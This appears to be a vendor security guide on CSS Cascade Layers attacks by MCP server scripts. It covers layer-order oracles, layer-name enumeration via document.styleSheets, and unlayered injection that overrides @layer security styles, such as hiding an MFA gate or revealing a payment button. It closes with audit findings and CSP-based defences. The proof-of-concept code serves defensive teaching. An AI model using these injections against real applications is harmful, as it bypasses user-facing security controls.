Security Guide

MCP server CSS Cascade Layers ordering security — layer priority oracle via computed value comparison, CSSLayerStatementRule.nameList architecture enumeration, unlayered injection defeating all layered security styles regardless of specificity, layer hoisting position fingerprint

CSS Cascade Layers (@layer, Chrome 99+, Firefox 97+, Safari 15.4+) add a new cascade tier between origin importance and specificity: within the author origin, rules in later-declared layers win over rules in earlier-declared layers, regardless of specificity. This ordering creates attack surfaces for MCP server scripts: computed value comparisons reveal which layer was declared last; CSSLayerStatementRule.nameList exposes all layer names to JavaScript via document.styleSheets; unlayered injection permanently defeats all layered rules without the need for !important; and layer hoisting probes map the exact position of each host layer in the cascade order.

The cascade layer ordering rule and why it creates oracles

The key rule: among rules of the same importance and origin, later-declared layers win. @layer base, components, utilities means utilities rules beat components rules beat base rules, regardless of their selector specificity. This reverses the usual CSS cascade intuition (lower specificity can now win over higher specificity if it is in a later layer). For security, the implications are: a style that a developer assumes is "high specificity, wins everything" may be beaten by a lower-specificity rule in a later layer, and an attacker who can determine the layer order can craft injected rules that win the cascade precisely.

Attack 1: Computed value comparison reveals which layer was declared last

An MCP server can determine the relative order of two known layer names by applying competing values to the same property and reading the winner via getComputedStyle. The winning value comes from the later-declared (higher-priority) layer. Binary searching over probe layer positions maps the host's full layer order.

/* Layer priority oracle: determine which of two layer names is declared last */
/* Applied to a neutral probe element that matches no host rules */

/* Probe stylesheet injected by MCP server */
@layer alpha {
  #layer-probe { color: rgb(255, 0, 0); } /* red if alpha wins */
}
@layer beta {
  #layer-probe { color: rgb(0, 255, 0); } /* green if beta wins */
}

/* But the host application has already declared: @layer base, utilities, security */
/* The host's ordering determines which of 'alpha' and 'beta' is higher priority */
/* In CSS: later-declared wins. But alpha and beta were declared AFTER the host's layers */
/* → both alpha and beta are after host layers → beta wins (it was declared after alpha) */
/* → probe color is green */

/* Now probe with names matching the host's known layer names */
@layer base {
  #layer-probe { color: rgb(255, 0, 0); }
}
@layer security {
  #layer-probe { color: rgb(0, 255, 0); }
}
/* If security was declared after base → green. If base was declared after security → red. */

function determineLayerOrder(layerA, layerB) {
  const style = document.createElement('style');
  style.textContent = `
    @layer ${layerA} { #layer-probe { color: rgb(255,0,0) } }
    @layer ${layerB} { #layer-probe { color: rgb(0,255,0) } }
  `;
  document.head.appendChild(style);
  const probe = document.getElementById('layer-probe') || createProbe();
  const winner = getComputedStyle(probe).color;
  document.head.removeChild(style);
  // 'rgb(0, 255, 0)' means layerB is higher priority (declared later in host CSS)
  // 'rgb(255, 0, 0)' means layerA is higher priority
  return winner === 'rgb(0, 255, 0)' ? layerB : layerA;
}

// Binary search over all pairs reveals the complete layer ordering
// For 5 layers: O(n log n) = ~12 probes to determine full order

Security layer position is security-critical information: If the host has @layer base, components, utilities, overrides, security and the attacker determines that security is last (highest priority), they know that the only way to beat it is with an unlayered rule (Attack 3 below). If security is not last, any layer declared after it can beat its styles — and the attacker now knows which layer name to target.

Attack 2: CSSLayerStatementRule.nameList exposes the host's CSS architecture

document.styleSheets is a JavaScript-readable array of all loaded stylesheets. Each stylesheet's cssRules array is iterable. Rules of type CSSRule.LAYER_STATEMENT_RULE (numeric type 15) are CSSLayerStatementRule objects that have a nameList property — a string array of all layer names declared in that rule. This is a spec-compliant way to enumerate all named layers in the host application's CSS from JavaScript, with no permission required.

// CSSLayerStatementRule.nameList: enumerate all host @layer names from JavaScript
function enumerateAllLayerNames() {
  const layerNames = [];

  for (const sheet of document.styleSheets) {
    try {
      for (const rule of sheet.cssRules) {
        // CSSRule.LAYER_STATEMENT_RULE = 15
        if (rule.type === 15) { // CSSLayerStatementRule
          // nameList: array of layer names declared in this @layer statement
          // e.g. @layer base, components, utilities → ['base', 'components', 'utilities']
          layerNames.push(...rule.nameList);
        }
        // Also check @import rules that import stylesheets with layer assignments
        if (rule.type === 3 && rule.layerName) { // CSSImportRule with layer
          layerNames.push(rule.layerName);
        }
      }
    } catch (e) {
      // cross-origin stylesheet — cssRules blocked by CORS, skip
    }
  }

  return [...new Set(layerNames)]; // deduplicated
}

// Example output for a typical React + Tailwind app:
// ['tailwind-base', 'tailwind-components', 'tailwind-utilities',
//  'app-base', 'app-layout', 'app-components', 'app-overrides', 'security']

// This reveals:
// - Which CSS framework is in use (Tailwind, MUI, Chakra, Mantine all have distinctive names)
// - Whether the app uses a security-specific layer (and its name for targeting)
// - The application architecture (component names encoded in layer names)
// - Whether a "security" or "overrides" layer exists (and its priority position)

Attack 3: Unlayered injection defeats all layered rules regardless of specificity

The CSS cascade places unlayered rules (rules not inside any @layer block) in an implicit "final layer" that wins over all explicitly named layers. This is by spec design: migrating existing CSS to use layers should not break existing styles that were not written with layers in mind. The security consequence: an attacker who can inject a non-layered CSS rule can always defeat the host application's layered security styles, even if those styles are in a @layer security layer declared as the highest-priority named layer.

/* Unlayered injection beats ALL @layer rules */
/* Host CSS:
   @layer base, components, utilities, security;
   @layer security {
     button[disabled] { pointer-events: none !important (within layer) }
     .payment-confirm { display: none }
     .mfa-gate { visibility: visible }
   }
*/

/* Attacker injects: a non-layered rule — NOT inside any @layer block */
/* This is the simplest possible CSS injection — no @layer needed */
button[disabled] {
  pointer-events: auto;
  cursor: pointer;
}
.payment-confirm {
  display: block !important;
}
.mfa-gate {
  visibility: hidden !important;
}

/* Result: these non-layered rules win over the host's @layer security rules
   because the implicit unlayered "final layer" is always higher priority
   than any explicitly named @layer, regardless of specificity.

   The host developer who put security styles in @layer security expected
   that layer to be the "highest priority" — but unlayered injection beats it.

   This works even without knowing any of the host's layer names.
   No CSSLayerStatementRule reading required. No layer name guessing.
   Just: inject a style element with no @layer wrapper. Done. */

// Security implication for MCP servers:
// Any MCP server that can inject a <style> element can defeat all
// @layer-based security CSS in the host application with a simple,
// non-layered CSS rule. No sophistication required.

The hidden @layer footgun: Developers who use @layer security { button[disabled] { pointer-events: none } } believe they are setting an unbeatable security style. They are not. Any unlayered rule in any injected stylesheet beats it. The fix is to use !important inside the @layer security block — but !important in layers has inverted priority (earlier layers win over later layers for !important), so using !important in a high-priority layer can actually make it lose to !important in a low-priority layer.

Attack 4: Layer declaration hoisting probes reveal layer ordering positions

In CSS, the first @layer statement that mentions a layer name determines that layer's position in the cascade order. Subsequent mentions of the same name are treated as appending rules to the already-positioned layer. This "first mention wins the position" rule creates a hoisting probe: if an attacker injects @layer security { } before the host's corresponding declaration, the attacker's injection claims the position. If injected after the host's declaration, the injection is a no-op (the position is already locked). Detecting which outcome occurred via computed value comparison reveals whether the host's @layer security declaration is above or below the injection point in the stylesheet load order.

/* Layer hoisting probe: detect host's @layer declaration positions */
/* Binary search: is host's @layer security declared before or after
   the insertion point of our probe stylesheet? */

// Step 1: inject a test stylesheet at a known load order position
// with a sentinel color inside @layer security
const earlyStyle = document.createElement('style');
earlyStyle.textContent = `
  @layer security { #probe { color: rgb(100, 0, 0); } }
  @layer attacker-after { #probe { color: rgb(0, 100, 0); } }
`;
document.head.insertBefore(earlyStyle, document.head.firstChild); // inject FIRST

// Step 2: read computed color on probe
// - If host's @layer security was declared in a stylesheet loaded AFTER ours:
//   Our @layer security gets the early position → host's append to it = both in early pos
//   → attacker-after is later → probe is green (attacker-after wins)
//
// - If host's @layer security was declared in a stylesheet loaded BEFORE ours:
//   Host's @layer security already claimed a position BEFORE our injection
//   → our @layer security appends to host's already-positioned security layer
//   → security layer position is wherever host declared it
//   → depends on whether security is before or after attacker-after

function probeLayerDeclarationOrder(layerName) {
  const results = {};

  // Inject probe stylesheet at beginning of <head>
  const probe = document.createElement('style');
  probe.textContent = `
    @layer ${layerName} { #order-probe { --layer-pos: early; } }
    @layer probe-sentinel { #order-probe { --layer-pos: late; } }
  `;
  const probe2 = document.createElement('style');
  probe2.textContent = `@layer probe-sentinel { }`; // sentinel declared last
  document.head.prepend(probe);
  document.head.appendChild(probe2);

  const el = document.getElementById('order-probe') || createSentinel();
  const pos = getComputedStyle(el).getPropertyValue('--layer-pos').trim();
  results.layerPosition = pos === 'late' ? 'host layer declared before probe' : 'host layer declared after probe';

  probe.remove();
  probe2.remove();
  return results;
}

// Iterating with probes at different DOM positions binary-searches
// the exact stylesheet load order position of each host @layer declaration
// This maps the host's CSS architecture load order without reading CSS content

SkillAudit findings for Cascade Layers ordering attacks

MEDIUMLayer priority oracle via computed value comparison: determines relative order of any two named @layer declarations, mapping the host's full cascade priority order in O(n log n) probe reads.
MEDIUMCSSLayerStatementRule.nameList architecture enumeration: reads all @layer names from document.styleSheets without any permission, revealing CSS framework, component structure, and security layer names.
CRITICALUnlayered injection defeats all @layer security styles: a non-@layer-wrapped rule always wins over all named layers regardless of specificity, bypassing @layer security { } protection with the simplest possible CSS injection.
LOWLayer hoisting position fingerprint: probing which @layer declaration positions are already claimed vs still available maps the host's stylesheet load order without reading CSS content.

Defences

Never rely on @layer for security-critical styles: CSS Cascade Layers are a cascade architecture tool, not a security boundary. Any unlayered rule defeats any layered rule. Security-critical styles (disabled button enforcement, invisible overlay control, access gate visibility) must use !important in unlayered rules — not @layer security. Better: enforce security state in JavaScript, not CSS.

Restrict style injection via CSP: All four attacks require injecting <style> elements or inline styles. CSP style-src 'self' without 'unsafe-inline' prevents script-injected stylesheets. If dynamic styles are needed, use style attribute nonces or a strict nonce-based CSP.

Use opaque layer names: If the application uses @layer and CSS is injected by MCP tools, use randomized session layer names (e.g., @layer sa-a3f8c2b1-security) rather than semantic names. This prevents collision attacks and makes enumerated names less actionable — though it does not prevent unlayered injection (Attack 3).

Audit for security-state CSS in @layer blocks: SkillAudit flags @layer rules containing pointer-events: none, display: none, visibility: hidden, or disabled-attribute rules as medium-risk — these security states are defeatable by unlayered injection and should be enforced in JavaScript instead.

Related: CSS cascade-controlling values (initial/inherit/unset/revert) · CSS Has No Security Model (blog) · MCP security checklist